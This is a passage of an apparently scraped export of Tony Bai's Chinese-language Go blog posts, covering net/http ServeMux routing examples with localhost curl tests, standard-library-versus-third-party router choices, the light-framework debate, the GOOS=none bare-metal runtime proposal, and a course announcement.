mux.HandleFunc(\u0026#34;/assets/images/thumbnails/\u0026#34;, func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;缩略图资源\u0026#34;) }) mux.HandleFunc(\u0026#34;/assets/images/\u0026#34;, func(w http.ResponseWriter, r *http.Request) { // 更一般的模式 fmt.Fprintf(w, \u0026#34;所有图片资源\u0026#34;) }) fmt.Println(\u0026#34;Server is listening on :8080...\u0026#34;) http.ListenAndServe(\u0026#34;:8080\u0026#34;, mux) } 你可以使用 curl 来测试上述路由，这里也附上了测试结果：\n# 方法匹配 $curl -X GET http://localhost:8080/api/users 获取用户列表 (GET) $curl -X POST http://localhost:8080/api/users 创建新用户 (POST) $curl -X PUT http://localhost:8080/api/users Method Not Allowed # 主机匹配 (需要修改 /etc/hosts 或使用 -H 指定 Host) # 假设已将 api.example.com 和 www.example.com 指向 127.0.0.1 # curl http://api.example.com:8080/data # curl http://www.example.com:8080/data # 或者使用 -H $curl -H \u0026#34;Host: api.example.com\u0026#34; http://localhost:8080/data 来自 api.example.com 的数据服务 $curl -H \u0026#34;Host: www.example.com\u0026#34; http://localhost:8080/data 来自 www.example.com 的数据展示 # 路径通配符 $curl http://localhost:8080/users/123 用户信息 (GET), 用户ID: 123% $curl http://localhost:8080/files/archive/2025/report.zip 文件路径: archive/2025/report.zip # 结束匹配符与优先级 $curl http://localhost:8080/ 精确匹配根路径 $curl http://localhost:8080/admin/ 精确匹配 /admin 路径 $curl http://localhost:8080/admin/settings 匹配所有 /admin/ 开头的路径 # 优先级规则 $curl http://localhost:8080/assets/images/thumbnails/cat.jpg 缩略图资源 $curl http://localhost:8080/assets/images/dog.jpg 所有图片资源 这些示例清晰地展示了 http.ServeMux 在 Go 1.22+ 版本中的强大能力。Alex Edwards 也提到 http.ServeMux 的一个聪明之处在于其处理重叠路由的逻辑——“最精确匹配的路由胜出”（例如 /post/edit 会优先于 /post/{id}）。这种可预测性也让标准库路由在设计上显得更加稳健。\n简单来说，如果标准库的功能已经能满足你 80% 的需求，且剩余 20% 可以通过简单的封装或组合模式解决，那么坚守标准库通常是明智的。\n何时需要拓展，拥抱第三方路由？ 当然，“标准库优先”并非一成不变的教条。当标准库的功能确实无法满足项目需求，或者引入第三方库能显著提升开发效率和代码表现力时，我们就需要考虑“拓展”。\nAlex Edwards 的文章也清晰地列出了 http.ServeMux（即使是增强后）与某些第三方库相比仍存在的差距，这些差距往往就是我们选择拓展的理由：\n更复杂的路径参数与匹配规则： * 子段通配符 (Subsegment wildcards)：如 chi 支持的 /articles/{month}-{year}-{day}/{id}。标准库的 {NAME…} 是捕获剩余所有路径段，而非段内复杂模式。 * 正则表达式通配符：如 gorilla/mux, chi, flow 支持的 /movies/{[a-z-]+}。标准库的通配符不直接支持正则表达式。\n高级中间件管理： * 路由组 (Middleware groups)：如 chi 和 flow 提供的，可以为一组路由批量应用中间件，这对于组织大型应用非常有用。虽然 http.ServeMux 也可以通过封装实现类似效果（Alex 也写过相关文章），但第三方库通常提供了更便捷的内建支持。\n更细致的 HTTP 行为控制： * 自定义 404/405 响应：虽然 http.ServeMux 可以通过“捕获所有”路由实现自定义 404，但这可能会影响自动的 405 响应。httprouter, chi, gorilla/mux, flow 等库对此有更好的处理，并能正确设置 Allow 头部。 * 自动处理 OPTIONS 请求：httprouter 和 flow 可以自动为 OPTIONS 请求发送正确的响应。\n特定匹配需求： * 基于请求头 (Header matching) 或 自定义匹配规则 (Custom matching rules)：gorilla/mux 在这方面表现突出，允许根据请求头（如 Authorization, Content-Type）或 IP 地址等进行路由。\n其他便利功能： * 路由反转 (Route reversing)：gorilla/mux 支持类似 Django, Rails 中的路由命名和反向生成 URL。 * 子路由 (Subrouters)：chi 和 gorilla/mux 允许创建子路由，更好地组织复杂应用的路由结构。\n选择拓展的时机，关键在于评估“收益与成本”。 如果引入第三方库能让你用更少的代码、更清晰的逻辑实现复杂功能，或者能显著改善开发体验，并且团队愿意承担学习和维护这个新依赖的成本，那么拓展就是合理的。\n决策的智慧：在坚守与拓展之间 那么，如何做出明智的决策呢？\n清晰定义需求：在动手之前，充分理解你的应用对路由的具体需求是什么。不要为了“可能需要”的功能而过早引入复杂性。 从标准库开始：正如 Alex 建议的，总是先尝试用 http.ServeMux。只有当它确实无法满足需求时，再去评估第三方库。 小步快跑，按需引入：如果标准库满足了大部分需求，只有一小部分特殊路由需要高级功能，可以考虑混合使用，或者仅为那部分功能寻找轻量级解决方案，而不是全盘替换。 评估第三方库的成熟度与社区支持：选择那些经过良好测试、积极维护、文档齐全且社区活跃的第三方库。Alex 文章中提到的筛选标准（如是否包含 go.mod 文件）可以作为参考。 考虑团队技能与偏好：团队成员对特定库的熟悉程度也是一个重要因素。 结语 Go 1.22+ 对 http.ServeMux 的增强，无疑让“标准库优先”的原则在 Web 开发领域更具说服力。它提醒我们，在追求功能丰富的同时，不应忽视简洁、稳定和可维护性带来的长期价值。\n路由选择只是冰山一角。**“标准库优先，按需拓展”**的思考方式，适用于 Go 开发的方方面面。它鼓励我们成为更审慎、更具判断力的工程师，在技术的海洋中，既能坚守阵地，也能适时扬帆。\n你对 Go 路由选择有什么看法？你更倾向于标准库还是第三方库？欢迎在评论区分享你的经验和见解！\n想与我进行更深入的 Go 语言与 AI 技术交流吗？\n如果你觉得今天的讨论意犹未尽，或者在 Go 语言学习、进阶以及 AI 赋能开发等方面有更多个性化的问题和思考，欢迎加入我的**“Go \u0026amp; AI 精进营”知识星球**。\n在那里，我们可以：\n探讨更前沿的技术趋势与实践案例。\n分享日常学习、工作中的疑难杂症与解决方案。\n参与更私密、更聚焦的技术主题讨论。\n获取我精选的技术资料与独家见解。\n扫描下方二维码，加入“Go \u0026amp; AI 精进营”，与我和众多优秀的 Gopher、AI 探索者一起，精进不止，共同成长！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/14/which-go-router-should-i-use/","summary":"\u003cp\u003e从Go路由选择看“标准库优先”：何时坚守？何时拓展？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"从Go路由选择看“标准库优先”：何时坚守？何时拓展？"},{"content":"Go社区的“轻框架”理念：自由的馈赠还是无形的枷锁？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo社区的“轻框架”理念：自由的馈赠还是无形的枷锁？ 五月 13, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/13/go-prefer-less-framework\n大家好，我是 Tony Bai。\nGo 语言自诞生以来，就以其简洁、高效和强大的并发模型赢得了全球开发者的青睐。它的设计者们，包括 Rob Pike、Ken Thompson 这些计算机界的巨匠，在创造 Go 的时候，秉持了一种鲜明的风格：“少即是多” (Less is More)。这不仅体现在其精简的语法和关键字上，更深刻地影响了 Go 社区对于“框架” (Frameworks) 的普遍态度。\n虽然 Go 官方从未明确宣称“轻框架或无框架”是其核心哲学，但从其设计选择——如强大的标准库、鼓励组合优于继承——以及社区早期的主流声音来看，Go 显著地倾向于**“轻框架”，或者说“反大型、侵入式框架”**。\n但这种在语言层面推崇的“轻盈”与“自由”，在实际的团队协作和大型项目开发中，究竟是解放生产力的“馈赠”，还是悄然套上了一层限制效率的“无形枷锁”？今天，我们就来探讨一下 Go 社区这种独特的“轻框架”理念。\n“轻框架”的初心：拥抱简洁、掌控与标准库的力量 Go 社区对“轻框架”的偏爱，并非空穴来风，而是源于对传统大型框架某些弊端的回避，以及对 Go 自身优势的充分自信：\n对“重框架”的反思： Go 的设计者们深谙大型框架（如 Java Spring, Ruby on Rails 等早期版本）在提供便利的同时，也可能带来学习曲线陡峭、过度设计、灵活性受限、性能开销以及难以捉摸的“魔法”等问题。Go 倾向于让开发者更接近底层，更清晰地理解代码的执行路径。 强大的标准库 “自带电池”： 这是 Go “轻框架”理念的底气所在。Go 标准库异常强大且全面，覆盖了网络、HTTP、JSON/XML 处理、加密、并发原语、测试等核心功能。许多在其他语言中需要依赖框架才能便捷实现的功能，Go 标准库直接提供，鼓励开发者首先“向内求”。 组合优于继承，接口驱动设计： Go 语言本身的设计哲学鼓励通过组合小而专注的组件来构建复杂的系统，并通过接口实现解耦和多态。这种范式使得代码更易于理解、测试和维护，自然降低了对庞大、层级复杂的框架的需求。 赋予开发者掌控权： “轻框架”意味着更少的隐藏逻辑和约定。开发者对代码的执行流程有更强的掌控感，这对于构建高性能、高可靠性的系统至关重要。 鼓励针对性解决方案： Go 社区倾向于针对特定问题选择或构建小而美的库，而不是试图用一个“万能框架”解决所有问题。这促进了 Go 生态中大量高质量、专注的第三方库的涌现。 这种“轻框架”理念带来的益处显而易见：\n学习曲线相对平缓： 开发者可以更快地掌握语言核心和标准库，而不必先学习一个庞大的框架体系。 高度灵活性： 开发者可以根据项目具体需求自由选择技术栈、架构模式和第三方库，不受框架的强约束。 性能透明且可控： 避免了大型框架可能引入的未知性能开销。 社区库的“专而精”： 催生了大量专注于解决特定问题的优秀第三方库，开发者可以像搭积木一样按需选用和组合。 对于许多追求极致性能、需要高度定制化、或者开发者经验丰富的场景，Go 的这种“轻框架”倾向无疑是一种解放。\n当“轻盈”遭遇“团队”：浮现的挑战与“结构缺失”感 然而，当我们将视角从个体开发者的“自由创作”转向需要多人协作、长期维护的大型复杂系统时，Go 社区这种“轻框架”的理念，有时却可能带来新的挑战，让团队感受到一种“结构缺失”的困扰，甚至演变成效率瓶颈：\n缺乏共享约定，导致“决策疲劳”与“风格各异”：\n项目结构“百花齐放”： 由于缺乏官方或广泛接受的项目布局“最佳实践”，不同团队甚至同一团队的不同项目都可能采用迥异的目录结构和代码组织方式。这无疑增加了新成员的上手门槛，也使得在项目间复用经验和代码变得困难。 技术选型无尽的“圣战”： 路由用 Gin、Echo 还是 Chi？日志库选 Zap、Logrus 还是标准库 log 加封装？配置管理、数据库迁移、RPC 框架……由于缺乏“一锤定音”的框架推荐，团队常常需要在这些基础组件的选择、集成、封装和推广上耗费大量精力，进行无休止的调研、讨论甚至内部“站队”。 “重复发明轮子”的诱惑： 因为没有现成的、整合好的框架提供“全家桶”服务，团队在面对常见需求（如用户认证、权限管理、任务队列）时，更容易倾向于“自己动手，丰衣足食”，这可能导致大量功能相似但实现各异的内部“准轮子”，长期维护成本高昂。 基础设施与横切关注点的“重复建设”：\n“胶水代码”与“基础设施代码”泛滥： 服务间的API调用、错误处理、链路追踪、监控埋点、配置加载、密钥管理等横切关注点，在缺乏统一框架抽象的情况下，往往需要在每个服务或模块中重复实现或集成，导致大量相似的“胶水代码”和“基础设施代码”。 DevOps 实践难以标准化： Dockerfile 的编写、CI/CD 流水线的配置、服务部署脚本等，如果每个项目都“各自为政”，难以形成统一、高效的 DevOps 实践，也增加了运维的复杂性。 团队协作与项目传承的隐形成本：\n“雪花服务”林立，知识孤岛化： 每个服务都可能因为开发者的不同偏好和技术选型，演变成一个拥有独特“方言”和“习俗”的“小王国”。这使得代码复用、知识共享、人员在项目间的流动都变得更加困难。 维护与交接的“噩梦”： 当一个高度定制化、缺乏统一规范的“轻框架”项目（甚至可以说是“无刻意设计的框架”）交到新人手中，或者核心开发者离职后，其理解难度和维护成本可能会急剧上升。 团队规模扩大后的困境： 随着团队成员增多、项目复杂度上升，缺乏统一框架带来的沟通成本、集成成本和质量控制难度会指数级增长。 对于追求快速迭代、需要保持高度一致性、或者团队成员经验水平参差不齐的团队来说，Go 这种“过度自由”的“轻框架”理念，有时反而会成为一种负担。开发者可能会怀念在 Rails、Django 或 Spring Boot 这类成熟框架中那种“约定优于配置”、开箱即用的便利感。\n实践中的平衡：在“轻盈”与“结构”间寻找智慧 面对 Go 社区“轻框架”的理念，以及它在团队协作中可能带来的挑战，我们并非束手无策。关键在于如何在享受其“轻盈”与“自由”的同时，有意识地为团队引入必要的“结构”与“秩序”：\n建立团队内部的“强约定”与“最佳实践指南”：\n这是最核心的应对策略。即使 Go 官方不提供，团队内部也必须投入精力沉淀和推广一套自己的项目模板、代码规范（如 Uber Go Style Guide）、推荐库列表（形成内部“技术雷达”）、以及针对常见场景的架构模式和解决方案。 通过严格的 Code Review、定期的技术分享、完善的内部文档，确保这些“内部标准”得到遵守和持续迭代。 拥抱“轻框架/微框架”和高质量的第三方库，形成“技术栈共识”：\nGo 社区有大量优秀的、专注于解决特定问题的库（如 Gin/Echo 用于 Web 开发，GORM/sqlx 用于数据库交互，Zap/Logrus 用于日志等）。团队应在充分调研的基础上，选择并标准化一套适合自己的“技术全家桶”，并围绕它们构建开发模式，避免成员随意引入未经评估的库。 善用代码生成、脚手架与项目模板：\n针对常见的样板代码（如 API 接口定义、CRUD 操作、项目初始化），可以开发或引入代码生成工具（如 go-swagger, protoc-gen-go 等）和标准化的项目脚手架，提高开发效率，保证代码风格和结构的一致性。 强化架构设计能力，明确模块化与接口：\n在项目初期投入足够的时间进行良好的架构设计，明确服务边界、模块职责、数据模型和接口定义。清晰的架构是应对复杂性的基石，其重要性在“轻框架”环境下尤为突出。 即使没有框架的强制约束，也要通过清晰的模块化和精心设计的接口来降低耦合，提高代码的可测试性和可维护性。 投资于平台工程与 DevOps 工具链：\n将基础设施的配置、部署、监控、日志收集等工作尽可能平台化、自动化，减少手动操作和人为错误。 构建统一的 CI/CD 流水线，提供标准化的 Docker 镜像基础，推广基础设施即代码 (IaC) 的理念。 审慎评估并引入“有观点”的 Go 开发平台或框架 (如果真正适合)：\n近年来，Go 社区也开始涌现一些试图提供更完整解决方案、更具“观点”的开发平台或集成度更高的框架。它们可能内置了项目结构、服务发现、API 定义、部署等方面的约定。如果团队的痛点与这些工具试图解决的问题高度匹配，并且其引入成本和学习曲线可接受，可以考虑审慎评估和引入，它们或许能在 Go 的自由与团队所需的结构之间提供一种新的平衡点。 结语：自由的艺术在于自律与智慧的构建 Go 社区的“轻框架”理念，本质上是将设计的权力和责任更多地交还给了开发者和团队。这既是一种极大的自由，让我们能够摆脱不必要的束缚，打造出极致性能和高度定制化的系统；同时，它也是一种严峻的考验，要求我们具备更高的技术素养、更强的架构能力和更严格的团队自律。\n对于经验丰富、纪律性强、且有能力驾驭这种自由的团队或个人，它可以释放出巨大的创造力和效率。 但对于缺乏经验、规范不足、或追求快速标准化的团队，这种“轻盈”也可能导致“结构缺失”的混乱和低效。 最终，Go 的“轻框架”理念是馈赠还是枷锁，并不取决于理念本身，而取决于使用它的人和团队如何理解这种理念，并有意识地、智慧地去构建适合自己的“秩序”与“结构”。在 Go 的世界里，真正的自由，或许并非随心所欲，而是通过团队的共同智慧和高度自律，构建起一套虽“轻”却不失章法的“隐形框架”，从而在享受简洁与高效的同时，也能保障项目的稳健、协作的顺畅与长远的发展。\n你和你的团队在 Go 项目中是如何平衡自由与结构的？你们是否也曾感受到“轻框架”或“结构缺失”带来的困扰，又是如何解决的？欢迎在评论区分享你的宝贵经验和思考！\n精进有道，更上层楼！\n如果你已经掌握了 Go 语言的基础，渴望在语法强化、代码设计以及工程实践等方面获得更深层次的提升，那么我最新上架的Go语言进阶课程正是为你准备的！这门进阶课程，是我多年 Go 实战经验和深度思考的结晶，旨在帮助你突破瓶颈，从“会用 Go”迈向“精通 Go”。\n扫描下方二维码，立即解锁你的 Go 语言进阶之路！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/13/go-prefer-less-framework/","summary":"\u003cp\u003eGo社区的“轻框架”理念：自由的馈赠还是无形的枷锁？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go社区的“轻框架”理念：自由的馈赠还是无形的枷锁？"},{"content":"Go运行时底层接口标准化？“GOOS=none”欲为Go铺设通往裸金属、固件和微控制器的桥梁 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo运行时底层接口标准化？“GOOS=none”欲为Go铺设通往裸金属、固件和微控制器的桥梁 五月 13, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/13/goos-none-proposal\n大家好，我是Tony Bai。\nGo语言凭借其简洁、高效和强大的并发模型，已在云原生和服务器端开发领域占据重要地位。但它的潜力远不止于此。一项备受关注的新提案 (#73608) 再次将目光投向了更底层的领域，建议引入 GOOS=none target。其核心并非简单添加一个操作系统类型，而是试图定义一套连接 Go 运行时与底层硬件/环境的接口，为 Go 语言铺设一条通往裸金属执行、安全固件开发乃至 Unikernel 和特定微控制器场景的桥梁。然而，这套接口能否以及如何实现“标准化”，并融入 Go 的兼容性承诺，成为了社区热议的焦点。\n本文就来和大家一起看看这个提案的核心思想、技术细节及其对 Go 语言未来发展的潜在影响。\nGOOS=none：定义 Go 与底层硬件的契约 提案的核心是允许 Go 程序在编译时指定 GOOS=none，编译产物将不依赖任何传统 OS 系统调用。所有必要的底层交互——从 CPU 初始化、时钟、随机数生成到基本输出——都将通过一组明确定义的接口委托给开发者提供的特定于硬件的板级支持包 (Board Support Package, BSP) 或应用层代码来实现。这些 BSP 和驱动同样可用 Go 编写。\n这套接口的设计基于已成功实践多年的 TamaGo (自行扩展实现GOOS=tamago) 项目经验。提案者也已将接口定义文档化，方便社区查阅和讨论 (goos-none-proposal Repo, pkg.go.dev)。\n下面是提案者粗略总结的关键运行时交互接口列表（需 BSP 或应用实现）：\ncpuinit (汇编实现): 最早期的 CPU 初始化，在 Go 运行时完全启动前执行。 runtime.hwinit0 (讨论中，建议汇编): 极早期的硬件初始化，在 Go 调度器启动前执行，实现约束严格。 runtime.hwinit1 (讨论中，可 Go 实现): 调度器启动后的硬件初始化，可以使用更完整的 Go 特性。注：hwinit 拆分是为了平衡早期初始化需求与 Go 实现的便利性和稳定性 runtime.printk: 提供基本的字符输出能力（如串口）。 runtime.initRNG / runtime.getRandomData: 初始化和获取随机数。 runtime.nanotime1: 提供纳秒级系统时间。实现约束极高：必须 //go:nosplit (无栈增长)、无内存分配、//go:nowritebarrierrec (无写屏障)，因为它可能在 GC、调度器等多种临界状态下被调用。通常推荐用汇编或极简 Go 实现。 内存布局: runtime.ramStart, runtime.ramSize, runtime.ramStackOffset。 可选接口: runtime.Bloc (堆地址覆盖), runtime.Exit, runtime.Idle。 网络: 外部 SocketFunc 提供网络栈接入点。 中断处理: 运行时提供 runtime.GetG, runtime.WakeG, runtime.Wake 等辅助函数，帮助 BSP/应用处理中断并异步唤醒 Goroutine。 TamaGo 的实践基础：验证可行性的基石 该提案并非纸上谈兵，而是建立在 TamaGo 项目数年的成功实践之上。TamaGo 已证明使用标准 Go 工具链（配合最小运行时修改）在底层系统编程的可行性，其应用包括：\n在 AMD64, ARM, RISC-V 架构上实现裸金属 Go 执行。 构建引导加载程序 (如 go-boot)、可信执行环境 (GoTEE)、安全操作系统及应用 (Armored Witness)。 在 Cloud Hypervisor, Firecracker, QEMU 等 KVM 环境中运行纯 Go MicroVMs。 通过标准的 Go 测试套件，验证了与标准库的高度兼容性。 已被 Google 内部项目 (transparency.dev) 及其他商业项目采用。 这些成就不仅展示了 Go 在这些领域的潜力，也为 GOOS=none 提案提供了坚实的基础和可信度。\n接口标准化困境与“框架”视角 将这套接口纳入官方 Go 发行版的核心挑战在于标准化与兼容性。\nGo 1 兼容性承诺: 如果将 GOOS=none 视为一个标准的 GOOS porting，其定义的运行时接口原则上需要遵循 Go 1 的向后兼容性承诺，长期保持稳定。 “runtime Go”子集的脆弱性: 允许使用 Go 语言实现这些底层接口（如 hwinit1）会遇到“runtime Go”的问题。这部分 Go 代码运行在特殊环境中，其可用特性和行为（如内存分配、栈增长）受限(有些类似Linux kernel专用C语言那样)，且可能因编译器优化策略的改变而意外破坏。定义并维护一个能在这种环境下安全使用的、稳定的 Go 语言子集是一项艰巨的任务。 严格约束的必要性: 像 nanotime1 这样在运行时关键路径上调用的函数，必须满足极其严格的条件（无栈增长、无分配、无写屏障），这进一步限制了使用 Go 实现的灵活性，使得汇编成为更可靠的选择。 鉴于这些挑战，社区（包括 Go 团队成员）倾向于将 GOOS=none 视为一个“框架”或“最小化移植接口”，而非一个要求完全兼容性承诺的传统 GOOS porting。\n框架定位的优势在于它能够显著降低外部维护成本，提供一套相对稳定的基础接口，从而支持小众或非官方环境的 Go 移植。这种灵活的兼容性意味着 Go 核心团队无需对这套接口提供严格的兼容性保证，而是将适应 Go 主版本变化的责任转移给接口的实现者，即 BSP 开发者。这不仅减轻了核心团队的负担，还为那些维护困难的官方“奇异”porting提供了一个“降级”为外部维护框架的途径。这种方式能够促进 Go 语言在更多场景下的应用，同时保持社区的活力和创新。\n微控制器的边界与展望 本文标题中提及的“微控制器”是讨论中的一个重要但尚需厘清的领域。\n当前的 GOOS=none 提案基于标准的 Go 运行时（包括垃圾回收等功能），其内存模型和编译/链接假设主要适用于现代 SoC 和服务器级 CPU。然而，对于那些资源极其受限的传统微控制器（如 RAM 小于 1MB）、需要从 Flash 执行、内存布局复杂，或依赖 ARM Thumb2 指令集的设备，该提案定义的接口和标准 Go 运行时可能并不直接适用或足够。\n此外，像 TinyGo 和 embeddedgo 这样的项目，通过不同的编译器或深度修改的运行时，专门解决了许多微控制器面临的挑战。GOOS=none 提案并非要取代这些项目，而是与它们的目标平台和实现路径存在显著差异。\n尽管如此，GOOS=none 作为框架或标准构建标签，仍被视为 Go 向更广泛嵌入式领域（包括某些高端微控制器或未来架构如 RISC-V）迈出的重要一步。它可以为库作者提供统一的方式来编写可在有 OS 和无 OS 环境下工作的代码，同时为未来可能出现的针对特定微控制器的、基于 GOOS=none 接口的更深度定制工作提供基础，尽管这可能需要超出本提案范围的额外修改。\n小结：铺设桥梁，探索前沿 GOOS=none 提案 (#73608) 不仅仅是添加一个新的目标平台，它更像是在尝试定义一套 Go 运行时与底层世界交互的标准化接口框架。基于 TamaGo 的坚实基础，它为 Go 语言铺设了一条通往裸金属、安全固件、高性能 Unikernel 等前沿领域的潜力巨大的桥梁。\n将其视为“框架”而非严格的“GOOS porting”，似乎是平衡创新需求、社区维护能力与 Go 核心团队支持负担的一种务实选择。虽然关于接口的具体细节、兼容性边界以及对资源极度受限微控制器的直接适用性仍在深入讨论中，但这场讨论本身无疑极大地扩展了 Go 语言的应用视野。\nGOOS=none 的最终命运将取决于 Go 团队对这些复杂因素的权衡以及社区的持续参与。无论结果如何，它都代表着 Go 语言在探索自身边界、拥抱更广阔技术领域方面迈出的勇敢一步。\nGo的星辰大海：你如何看待GOOS=none的探索？\nGOOS=none 提案为Go语言打开了一扇通往更广阔底层世界的大门，充满了机遇也伴随着挑战。你认为Go语言在裸金属、固件或特定嵌入式领域能发挥出怎样的优势？这套拟议的运行时接口，你觉得在“框架”定位下能否平衡好灵活性与稳定性？或者，你对Go在这些前沿领域的探索还有哪些期待和建议？\n欢迎在评论区留下你的真知灼见，一同畅想Go的无限可能！\n现在，正是学习和进阶 Go 的最佳时机！\n如果你渴望突破瓶颈，实现从“Go 熟练工”到“Go 专家”的蜕变，那么，我在极客时间的《TonyBai · Go 语言进阶课》等你！\n扫描下方二维码或点击[阅读原文]，立即加入，开启你的 Go 语言精进之旅！\n期待与你在课程中相遇，共同探索 Go 语言的精妙与强大！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/13/goos-none-proposal/","summary":"\u003cp\u003eGo运行时底层接口标准化？“GOOS=none”欲为Go铺设通往裸金属、固件和微控制器的桥梁 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go运行时底层接口标准化？“GOOS=none”欲为Go铺设通往裸金属、固件和微控制器的桥梁"},{"content":"从线下到线上，我的“Go语言进阶课”终于在极客时间与大家见面了！ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n从线下到线上，我的“Go语言进阶课”终于在极客时间与大家见面了！ 五月 12, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/12/go-advanced-course\n大家好，我是Tony Bai。\n今天，怀着一丝激动和期待，我想向大家宣布一个酝酿已久的好消息：我的新专栏**“TonyBai · Go 语言进阶课”** 终于在极客时间正式上架了！\n这门课程的诞生，其实有一段不短的故事。它并非一时兴起，而是源于我对 Go 语言多年实践的沉淀、对 Gopher 们进阶痛点的洞察，以及一份希望能帮助更多开发者突破瓶颈、实现精通的心愿。\n缘起：从 GopherChina 的线下训练营开始 故事的起点，要追溯到 GopherChina 2023 大会前夕。当时，我应邀开设了一期名为“Go 高级工程师必修课”的线下训练营。至今还清晰记得，在滴滴的一个会议室里，我与一群对 Go 语言充满热忱的开发者们，共同探讨、深入剖析了 Go 进阶之路上的种种挑战与关键技能。\n那次线下课程的反馈非常积极，也让我深刻感受到，许多 Gopher 在掌握了 Go 的基础之后，普遍面临着“如何从熟练到精通”的困惑。他们渴望写出更优雅、更高性能的代码，希望提升复杂项目的设计能力，也期盼着能掌握更硬核的工程实践经验。\n同年，我还临危受命，在 GopherChina 2023 上加了一场 “The State Of Go” 的演讲，与大家分享了我对 Go 语言发展趋势的观察与思考。这些经历，都让我更加坚信，系统性地梳理和分享 Go 语言的进阶知识，是非常有价值且必要的。\n打磨：从线下到线上，不变的是匠心 将线下课程的精华沉淀下来，打磨成一门更普惠、更系统的线上专栏，这个想法在 2024 年就已萌生。但由于种种原因，特别是档期的冲突，这个计划暂时搁置了。\n直到 2025 年，我与极客时间的老师们再次携手，投入了大量心血，对课程内容进行了反复打磨和精心编排。我们不仅希望传递知识，更希望启发思考，帮助大家建立起真正的“Go 语言设计思维和工程思维”。\n正如我在专栏开篇词中提到的，如果你也正面临这些困惑：\n感觉到了瓶颈？ 写了不少 Go 代码，但总觉得离“精通”还差一口气？ 设计能力跟不上？ 面对复杂的业务需求，如何进行合理的项目布局、包设计、接口设计？ 工程实践经验不足？ 知道要测试、要监控、要优化，但具体到 Go 项目，如何落地？ 那么，这门“Go 语言进阶课”正是为你量身打造的。\n蜕变：从“熟练工”到“专家”，三大模块助你突破 课程摒弃了简单罗列知识点的方式，聚焦于 Go 工程师能力提升的三个核心维度，精心设计了三大模块：\n模块一：夯实基础，突破语法认知瓶颈 这里我们不满足于“知道”，而是追求“理解”。深入类型系统、值与指针、切片与 map 陷阱、接口与组合、泛型等核心概念的底层逻辑与设计哲学，让你写出更地道、更健壮的 Go 代码。\n模块二：设计先行，奠定高质量代码基础 从宏观的项目布局、包设计，到具体的并发模型选择、接口设计原则，再到实用的错误处理策略和 API 设计规范。提升你的软件设计能力，让你能驾驭更复杂的项目。\n模块三：工程实践，锻造生产级 Go 服务 聚焦于将 Go 代码变成可靠线上服务的关键环节。从应用骨架、核心组件、可观测性，到故障排查、性能调优、云原生部署以及与 AI 大模型集成，全是硬核干货。\n此外，课程还安排了实战串讲项目，带你将学到的知识融会贯通，亲手构建并完善一个真实的 Go 服务。\n我深知，从“熟练”到“精通”，不是一蹴而就的。但这门课程，希望能成为你进阶路上的助推器和导航仪。它凝聚了我 20 多年的行业经验，特别是我在电信领域高并发网关和智能网联汽车车云平台使用 Go 语言构建大规模生产系统的实践与思考。\n在课程中，你不仅能学到 Go 的高级特性和用法，更能体会到 Go 语言“组合优于继承”、“显式错误处理”等设计哲学的精髓，以及在大模型时代如何让 AI 赋能你的 Go 应用。\n现在，是时候了！ 正如我在开篇词中强调的，Go 语言正迎来它的黄金十年。从 TIOBE 榜单的稳步攀升（2025 年 4 月份额已突破 3%），到全球 GopherCon 的回归，再到各大主流厂商对 Go 的拥抱（比如 TypeScript 编译器向 Go 移植、Grafana 和 GitHub 用 Go 重写 MCP Server），都预示着 Go 在云原生、微服务、AI 后端等领域的强劲势头。\n现在，正是学习和进阶 Go 的最佳时机！\n如果你渴望突破瓶颈，实现从“Go 熟练工”到“Go 专家”的蜕变，那么，我在极客时间的《TonyBai · Go 语言进阶课》等你！\n扫描下方二维码或点击[阅读原文]，立即加入，开启你的 Go 语言精进之旅！\n期待与你在课程中相遇，共同探索 Go 